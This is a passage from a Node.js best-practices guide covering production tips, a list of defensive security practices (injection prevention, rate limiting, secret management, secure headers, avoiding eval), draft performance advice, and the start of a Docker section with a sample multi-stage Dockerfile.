the probability of severe production issues. Fast and automated deployments that don’t require risky manual steps and service downtime significantly improve the deployment process. You should probably achieve this using Docker combined with CI tools as they became the industry standard for streamlined deployment\n\n**Otherwise:** Long deployments -> production downtime & human-related error -> team unconfident in making deployment -> fewer deployments and features\n\n<br/><br/>\n\n## ![✔] 5.17. Use an LTS release of Node.js\n\n**TL;DR:** Ensure you are using an LTS version of Node.js to receive critical bug fixes, security updates and performance improvements\n\n**Otherwise:** Newly discovered bugs or vulnerabilities could be used to exploit an application running in production, and your application may become unsupported by various modules and harder to maintain\n\n🔗 [**Read More: Use an LTS release of Node.js**](./sections/production/LTSrelease.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Log to stdout, avoid specifying log destination within the app\n\n### `📝 #updated`\n\n**TL;DR:** Log destinations should not be hard-coded by developers within the application code, but instead should be defined by the execution environment the application runs in. Developers should write logs to `stdout` using a logger utility and then let the execution environment (container, server, etc.) pipe the `stdout` stream to the appropriate destination (i.e. Splunk, Graylog, ElasticSearch, etc.).\n\n**Otherwise:** If developers set the log routing, less flexibility is left for the ops professional who wishes to customize it. Beyond this, if the app tries to log directly to a remote location (e.g., Elastic Search), in case of panic or crash - further logs that might explain the problem won't arrive\n\n🔗 [**Read More: Log Routing**](./sections/production/logrouting.md)\n\n<br/><br/>\n\n## ![✔] 5.19. Install your packages with `npm ci`\n\n**TL;DR:** Run `npm ci` to strictly do a clean install of your dependencies matching package.json and package-lock.json. Obviously production code must use the exact version of the packages that were used for testing. While package-lock.json file sets strict version for dependencies, in case of mismatch with the file package.json, the command 'npm install' will treat package.json as the source of truth. On the other hand, the command 'npm ci' will exit with error in case of mismatch between these files\n\n**Otherwise:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code.\n\n🔗 [**Read More: Use npm ci**](./sections/production/installpackageswithnpmci.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `6. Security Best Practices`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Embrace linter security rules\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Make use of security-related linter plugins such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) to catch security vulnerabilities and issues as early as possible, preferably while they're being coded. This can help catching security weaknesses like using eval, invoking a child process or importing a module with a string literal (e.g. user input). Click 'Read more' below to see code examples that will get caught by a security linter\n\n**Otherwise:** What could have been a straightforward security weakness during development becomes a major issue in production. Also, the project may not follow consistent code security practices, leading to vulnerabilities being introduced, or sensitive secrets committed into remote repositories\n\n🔗 [**Read More: Lint rules**](./sections/security/lintrules.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Limit concurrent requests using a middleware\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** DOS attacks are very popular and relatively easy to conduct. Implement rate limiting using an external service such as cloud load balancers, cloud firewalls, nginx, [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) package, or (for smaller and less critical apps) a rate-limiting middleware (e.g. [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\n\n**Otherwise:** An application could be subject to an attack resulting in a denial of service where real users receive a degraded or unavailable service.\n\n🔗 [**Read More: Implement rate limiting**](./sections/security/limitrequests.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Extract secrets from config files or use packages to encrypt them\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Never store plain-text secrets in configuration files or source code. Instead, make use of secret-management systems like Vault products, Kubernetes/Docker Secrets, or using environment variables. As a last resort, secrets stored in source control must be encrypted and managed (rolling keys, expiring, auditing, etc). Make use of pre-commit/push hooks to prevent committing secrets accidentally\n\n**Otherwise:** Source control, even for private repositories, can mistakenly be made public, at which point all secrets are exposed. Access to source control for an external party will inadvertently provide access to related systems (databases, apis, services, etc).\n\n🔗 [**Read More: Secret management**](./sections/security/secretmanagement.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Prevent query injection vulnerabilities with ORM/ODM libraries\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** To prevent SQL/NoSQL injection and other malicious attacks, always make use of an ORM/ODM or a database library that escapes data or supports named or indexed parameterized queries, and takes care of validating user input for expected types. Never just use JavaScript template strings or string concatenation to inject values into queries as this opens your application to a wide spectrum of vulnerabilities. All the reputable Node.js data access libraries (e.g. [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) have built-in protection against injection attacks.\n\n**Otherwise:** Unvalidated or unsanitized user input could lead to operator injection when working with MongoDB for NoSQL, and not using a proper sanitization system or ORM will easily allow SQL injection attacks, creating a giant vulnerability.\n\n🔗 [**Read More: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.md)\n\n<br/><br/>\n\n## ![✔] 6.5. Collection of generic security best practices\n\n**TL;DR:** This is a collection of security advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through.\n\n🔗 [**Read More: Common security best practices**](./sections/security/commonsecuritybestpractices.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Adjust the HTTP response headers for enhanced security\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Your application should be using secure headers to prevent attackers from using common attacks like cross-site scripting (XSS), clickjacking and other malicious attacks. These can be configured easily using modules like [helmet](https://www.npmjs.com/package/helmet).\n\n**Otherwise:** Attackers could perform direct attacks on your application's users, leading to huge security vulnerabilities\n\n🔗 [**Read More: Using secure headers in your application**](./sections/security/secureheaders.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Constantly and automatically inspect for vulnerable dependencies\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** With the npm ecosystem it is common to have many dependencies for a project. Dependencies should always be kept in check as new vulnerabilities are found. Use tools like [npm audit](https://docs.npmjs.com/cli/audit) or [snyk](https://snyk.io/) to track, monitor and patch vulnerable dependencies. Integrate these tools with your CI setup so you catch a vulnerable dependency before it makes it to production.\n\n**Otherwise:** An attacker could detect your web framework and attack all its known vulnerabilities.\n\n🔗 [**Read More: Dependency security**](./sections/security/dependencysecurity.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Passwords or secrets (e.g. API keys) should be stored using a secure hash + salt function like `bcrypt`,`scrypt`, or worst case `pbkdf2`.\n\n**Otherwise:** Passwords and secrets that are stored without using a secure function are vulnerable to brute forcing and dictionary attacks that will lead to their disclosure eventually.\n\n🔗 [**Read More: User Passwords**](./sections/security/userpasswords.md)\n\n<br/><br/>\n\n## ![✔] 6.9. Escape HTML, JS and CSS output\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Untrusted data that is sent down to the browser might get executed instead of just being displayed, this is commonly referred as a cross-site-scripting (XSS) attack. Mitigate this by using dedicated libraries that explicitly mark the data as pure content that should never get executed (i.e. encoding, escaping)\n\n**Otherwise:** An attacker might store malicious JavaScript code in your DB which will then be sent as-is to the poor clients\n\n🔗 [**Read More: Escape output**](./sections/security/escape-output.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Validate incoming JSON schemas\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Validate the incoming requests' body payload and ensure it meets expectations, fail fast if it doesn't. To avoid tedious validation coding within each route you may use lightweight JSON-based validation schemas such as [jsonschema](https://www.npmjs.com/package/jsonschema) or [joi](https://www.npmjs.com/package/joi)\n\n**Otherwise:** Your generosity and permissive approach greatly increases the attack surface and encourages the attacker to try out many inputs until they find some combination to crash the application\n\n🔗 [**Read More: Validate incoming JSON schemas**](./sections/security/validation.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Support blocklisting JWTs\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** When using JSON Web Tokens (for example, with [Passport.js](https://github.com/jaredhanson/passport)), by default there's no mechanism to revoke access from issued tokens. Once you discover some malicious user activity, there's no way to stop them from accessing the system as long as they hold a valid token. Mitigate this by implementing a blocklist of untrusted tokens that are validated on each request.\n\n**Otherwise:** Expired, or misplaced tokens could be used maliciously by a third party to access an application and impersonate the owner of the token.\n\n🔗 [**Read More: Blocklist JSON Web Tokens**](./sections/security/expirejwt.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Prevent brute-force attacks against authorization\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** A simple and powerful technique is to limit authorization attempts using two metrics:\n\n1. The first is number of consecutive failed attempts by the same user unique ID/name and IP address.\n2. The second is number of failed attempts from an IP address over some long period of time. For example, block an IP address if it makes 100 failed attempts in one day.\n\n**Otherwise:** An attacker can issue unlimited automated password attempts to gain access to privileged accounts on an application\n\n🔗 [**Read More: Login rate limiting**](./sections/security/login-rate-limit.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Run Node.js as non-root user\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** There is a common scenario where Node.js runs as a root user with unlimited permissions. For example, this is the default behaviour in Docker containers. It's recommended to create a non-root user and either bake it into the Docker image (examples given below) or run the process on this user's behalf by invoking the container with the flag \"-u username\"\n\n**Otherwise:** An attacker who manages to run a script on the server gets unlimited power over the local machine (e.g. change iptable and re-route traffic to their server)\n\n🔗 [**Read More: Run Node.js as non-root user**](./sections/security/non-root-user.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Limit payload size using a reverse-proxy or a middleware\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** The bigger the body payload is, the harder your single thread works in processing it. This is an opportunity for attackers to bring servers to their knees without tremendous amount of requests (DOS/DDOS attacks). Mitigate this limiting the body size of incoming requests on the edge (e.g. firewall, ELB) or by configuring [express body parser](https://github.com/expressjs/body-parser) to accept only small-size payloads\n\n**Otherwise:** Your application will have to deal with large requests, unable to process the other important work it has to accomplish, leading to performance implications and vulnerability towards DOS attacks\n\n🔗 [**Read More: Limit payload size**](./sections/security/requestpayloadsizelimit.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Avoid JavaScript eval statements\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` is evil as it allows executing custom JavaScript code during run time. This is not just a performance concern but also an important security concern due to malicious JavaScript code that may be sourced from user input. Another language feature that should be avoided is `new Function` constructor. `setTimeout` and `setInterval` should never be passed dynamic JavaScript code either.\n\n**Otherwise:** Malicious JavaScript code finds a way into text passed into `eval` or other real-time evaluating JavaScript language functions, and will gain complete access to JavaScript permissions on the page. This vulnerability is often manifested as an XSS attack.\n\n🔗 [**Read More: Avoid JavaScript eval statements**](./sections/security/avoideval.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Prevent evil RegEx from overloading your single thread execution\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Regular Expressions, while being handy, pose a real threat to JavaScript applications at large, and the Node.js platform in particular. A user input for text to match might require an outstanding amount of CPU cycles to process. RegEx processing might be inefficient to an extent that a single request that validates 10 words can block the entire event loop for 6 seconds and set the CPU on 🔥. For that reason, prefer third-party validation packages like [validator.js](https://github.com/chriso/validator.js) instead of writing your own Regex patterns, or make use of [safe-regex](https://github.com/substack/safe-regex) to detect vulnerable regex patterns\n\n**Otherwise:** Poorly written regexes could be susceptible to Regular Expression DoS attacks that will block the event loop completely. For example, the popular `moment` package was found vulnerable with malicious RegEx usage in November of 2017\n\n🔗 [**Read More: Prevent malicious RegEx**](./sections/security/regex.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Avoid module loading using a variable\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Avoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resource access with dynamic variables originating from user input. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter can catch such patterns and warn early enough\n\n**Otherwise:** Malicious user input could find its way to a parameter that is used to require tampered files, for example, a previously uploaded file on the file system, or access already existing system files.\n\n🔗 [**Read More: Safe module loading**](./sections/security/safemoduleloading.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Run unsafe code in a sandbox\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** When tasked to run external code that is given at run-time (e.g. plugin), use any sort of 'sandbox' execution environment that isolates and guards the main code against the plugin. This can be achieved using a dedicated process (e.g. `cluster.fork()`), serverless environment or dedicated npm packages that act as a sandbox\n\n**Otherwise:** A plugin can attack through an endless variety of options like infinite loops, memory overloading, and access to sensitive process environment variables\n\n🔗 [**Read More: Run unsafe code in a sandbox**](./sections/security/sandbox.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Take extra care when working with child processes\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Avoid using child processes when possible and validate and sanitize input to mitigate shell injection attacks if you still have to. Prefer using `child_process.execFile` which by definition will only execute a single command with a set of attributes and will not allow shell parameter expansion.\n\n**Otherwise:** Naive use of child processes could result in remote command execution or shell injection attacks due to malicious user input passed to an unsanitized system command.\n\n🔗 [**Read More: Be cautious when working with child processes**](./sections/security/childprocesses.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Hide error details from clients\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** An integrated express error handler hides the error details by default. However, great are the chances that you implement your own error handling logic with custom Error objects (considered by many as a best practice). If you do so, ensure not to return the entire Error object to the client, which might contain some sensitive application details\n\n**Otherwise:** Sensitive application details such as server file paths, third party modules in use, and other internal workflows of the application which could be exploited by an attacker, could be leaked from information found in a stack trace\n\n🔗 [**Read More: Hide error details from client**](./sections/security/hideerrors.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Configure 2FA for npm or Yarn\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Any step in the development chain should be protected with MFA (multi-factor authentication), npm/Yarn are a sweet opportunity for attackers who can get their hands on some developer's password. Using developer credentials, attackers can inject malicious code into libraries that are widely installed across projects and services. Maybe even across the web if published in public. Enabling 2-factor-authentication in npm leaves almost zero chances for attackers to alter your package code.\n\n**Otherwise:** [Have you heard about the eslint developer whose password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Modify session middleware settings\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Each web framework and technology has its known weaknesses - telling an attacker which web framework we use is a great help for them. Using the default settings for session middlewares can expose your app to module- and framework-specific hijacking attacks in a similar way to the `X-Powered-By` header. Try hiding anything that identifies and reveals your tech stack (E.g. Node.js, express)\n\n**Otherwise:** Cookies could be sent over insecure connections, and an attacker might use session identification to identify the underlying framework of the web application, as well as module-specific vulnerabilities\n\n🔗 [**Read More: Cookie and session security**](./sections/security/sessions.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Avoid DOS attacks by explicitly setting when a process should crash\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** The Node process will crash when errors are not handled. Many best practices even recommend to exit even though an error was caught and got handled. Express, for example, will crash on any asynchronous error - unless you wrap routes with a catch clause. This opens a very sweet attack spot for attackers who recognize what input makes the process crash and repeatedly send the same request. There's no instant remedy for this but a few techniques can mitigate the pain: Alert with critical severity anytime a process crashes due to an unhandled error, validate the input and avoid crashing the process due to invalid user input, wrap all routes with a catch and consider not to crash when an error originated within a request (as opposed to what happens globally)\n\n**Otherwise:** This is just an educated guess: given many Node.js applications, if we try passing an empty JSON body to all POST requests - a handful of applications will crash. At that point, we can just repeat sending the same request to take down the applications with ease\n\n<br/><br/>\n\n## ![✔] 6.24. Prevent unsafe redirects\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Redirects that do not validate user input can enable attackers to launch phishing scams, steal user credentials, and perform other malicious actions.\n\n**Otherwise:** If an attacker discovers that you are not validating external, user-supplied input, they may exploit this vulnerability by posting specially-crafted links on forums, social media, and other public places to get users to click it.\n\n🔗 [**Read More: Prevent unsafe redirects**](./sections/security/saferedirects.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Avoid publishing secrets to the npm registry\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Precautions should be taken to avoid the risk of accidentally publishing secrets to public npm registries. An `.npmignore` file can be used to ignore specific files or folders, or the `files` array in `package.json` can act as an allow list.\n\n**Otherwise:** Your project's API keys, passwords or other secrets are open to be abused by anyone who comes across them, which may result in financial loss, impersonation, and other risks.\n\n🔗 [**Read More: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.md)\n\n<br/><br/>\n\n## ![✔] 6.26 Inspect for outdated packages\n\n**TL;DR:** Use your preferred tool (e.g. `npm outdated` or [npm-check-updates](https://www.npmjs.com/package/npm-check-updates)) to detect installed outdated packages, inject this check into your CI pipeline and even make a build fail in a severe scenario. For example, a severe scenario might be when an installed package is 5 patch commits behind (e.g. local version is 1.3.1 and repository version is 1.3.8) or it is tagged as deprecated by its author - kill the build and prevent deploying this version\n\n**Otherwise:** Your production will run packages that have been explicitly tagged by their author as risky\n\n<br/><br/>\n\n## ![✔] 6.27. Import built-in modules using the 'node:' protocol\n\n### `🌟 #new`\n\n<a href=\"https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20A06:2021 – Vulnerable and Outdated Components-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Import or require built-in Node.js modules using the 'node protocol' syntax:\n\n```javascript\nimport { functionName } from \"node:module\"; // note that 'node:' prefix\n```\n\nFor example:\n\n```javascript\nimport { createServer } from \"node:http\";\n```\n\nThis style ensures that there is no ambiguity with global npm packages and makes it clear for the reader that the code refers to a well-trusted official module. This style can be enforced with the eslint rule ['prefer-node-protocol'](https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/prefer-node-protocol.md)\n\n**Otherwise:** Using the import syntax without 'node:' prefix opens the door for [typosquatting attacks](https://en.wikipedia.org/wiki/Typosquatting) where one could mistakenly mistype a module name (e.g., 'event' instead of 'events) and get a malicious package that was built only to trick users into installing them\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `7. Draft: Performance Best Practices`\n\n## Our contributors are working on this section. [Would you like to join?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. Don't block the event loop\n\n**TL;DR:** Avoid CPU intensive tasks as they will block the mostly single-threaded Event Loop and offload those to a dedicated thread, process or even a different technology based on the context.\n\n**Otherwise:** As the Event Loop is blocked, Node.js will be unable to handle other request thus causing delays for concurrent users. **3000 users are waiting for a response, the content is ready to be served, but one single request blocks the server from dispatching the results back**\n\n🔗 [**Read More: Do not block the event loop**](./sections/performance/block-loop.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Prefer native JS methods over user-land utils like Lodash\n\n**TL;DR:** It's often more penalising to use utility libraries like `lodash` and `underscore` over native methods as it leads to unneeded dependencies and slower performance.\nBear in mind that with the introduction of the new V8 engine alongside the new ES standards, native methods were improved in such a way that it's now about 50% more performant than utility libraries.\n\n**Otherwise:** You'll have to maintain less performant projects where you could have simply used what was **already** available or dealt with a few more lines in exchange of a few more files.\n\n🔗 [**Read More: Native over user land utils**](./sections/performance/nativeoverutil.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `8. Docker Best Practices`\n\n🏅 Many thanks to [Bret Fisher](https://github.com/BretFisher) from whom we learned many of the following practices\n\n<br/><br/>\n\n## ![✔] 8.1 Use multi-stage builds for leaner and more secure Docker images\n\n**TL;DR:** Use multi-stage build to copy only necessary production artifacts. A lot of build-time dependencies and files are not needed for running your application. With multi-stage builds these resources can be used during build while the runtime environment contains only what's necessary. Multi-stage builds are an easy way to get rid of overweight and security threats.\n\n**Otherwise:** Larger images will take longer to build and ship, build-only tools might contain vulnerabilities and secrets only meant for the build phase might be leaked.\n\n### Example Dockerfile for multi-stage builds\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY . .\nRUN npm ci && npm run build\n\n\nFROM node:slim-14.4.0\n\nUSER node\nEXPOSE 8080\n\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\nRUN npm ci --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n🔗 [**Read More: Use multi-stage builds**](./sections/docker/multi_stage_builds.md)\n\n<br /><br /><br />\n\n## ![✔] 8.2. Bootstrap using `node` command, avoid `npm start`\n\n**TL;DR:** Use `CMD ['node','server.js']` to start your app, avoid using npm scripts which don't pass OS signals to the code. This prevents problems with child-processes, signal handling, graceful shutdown and having zombie processes\n\nUpdate: [Starting from npm 7, npm claim](https://docs.npmjs.com/cli/v7/using-npm/changelog#706-2020-10-27) to pass signals. We follow and will update accordingly\n\n**Otherwise:** When no signals are passed, your code will never be notified about shutdowns. Without this, it will lose its chance to close properly possibly losing current requests and/or data\n\n[**Read More: Bootstrap container using node command, avoid npm start**](./sections/docker/bootstrap-using-node.md)\n\n<br /><br /><br />\n\n## ![✔] 8.3. Let the Docker runtime handle replication and uptime\n\n**TL;DR:** When using a Docker run time orchestrator (e.g., Kubernetes), invoke the Node.js process directly without intermediate process managers or custom code that replicate the process (e.g. PM2, Cluster module). The runtime platform has the highest amount of data and visibility for making placement decision - It knows best how many processes are needed, how to spread them and what to do in case of crashes\n\n**Otherwise:** Container keeps crashing due to lack of resources will get restarted indefinitely by the process manager. Should Kubernetes be aware of that, it could relocate it to a different roomy instance\n\n🔗 [**Read More: Let the Docker orchestrator restart and replicate processes**](./sections/docker/restart-and-replicate-processes.md)\n\n<br/><br /><br />\n\n## ![✔] 8.4. 